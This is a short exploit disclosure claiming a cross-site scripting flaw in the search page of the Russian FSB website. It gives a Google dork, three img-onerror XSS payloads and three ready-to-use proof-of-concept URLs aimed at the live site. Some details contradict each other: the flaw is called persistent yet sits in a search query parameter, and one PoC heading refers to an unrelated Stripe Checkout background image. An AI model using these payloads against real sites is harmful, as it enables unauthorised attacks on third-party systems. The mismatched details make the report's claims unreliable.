/*!
- # VULNERABILITY: Cross Site Scripting Federal Security Service of the Russian Federation
- # Authenticated Persistent XSS
- # GOOGLE DORK: inurl:fsb.ru/fsb/sh.htm?query=
- # DATE: 2024-11-29
- # SECURITY RESEARCHER:  E1.Coders
- # VENDOR: FSB [ http://www.fsb.ru/ ]
- # SOFTWARE LINK: http://www.fsb.ru/
- # CVSS: AV:N/AC:L/PR:H/UI:N/S:C
- # CWE: CWE-79
*/
 
 
### -- [ Info: ]
 
[i] A valid persistent XSS vulnerability was discovered in the search section of the Federal Security Service of the Russian Federation website.
 
[i] Vulnerable parameter(s): sh.htm?query=  < AND >  /fsb/sh.htm?query=
 
 
### -- [ Impact: ]
 
[~] Malicious JavaScript code injections, the ability to combine attack vectors against the targeted system, which can lead to a complete compromise of the resource.
 
 
### -- [ Payloads: ]
 
`"'><img src=xxx:x \x22onerror=javascript:alert(1)>
 
"/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />
 
`"'><img src=xxx:x onerror\x09=javascript:alert(1)>
 
 
### -- [ PoC #1 | Authenticated Persistent XSS | Background Image (Stripe Checkout): ]
 
http://www.fsb.ru/fsb/sh.htm?query=`%22%27%3E%3Cimg%20src=xxx:x%20onerror\x09=javascript:alert(1)%3E
 
http://www.fsb.ru/fsb/sh.htm?query=%22/%3E%3Cimg/onerror=\x20javascript:alert(1)\x20src=xxx:x%20/%3E
 
http://www.fsb.ru/fsb/sh.htm?query=`%22%27%3E%3Cimg%20src=xxx:x%20\x22onerror=javascript:alert(1)%3E
 
 
### -- [ Contacts: ]
 
[+] E-Mail: E1.Coders@Mail.Ru
 
[+] GitHub: @e1coders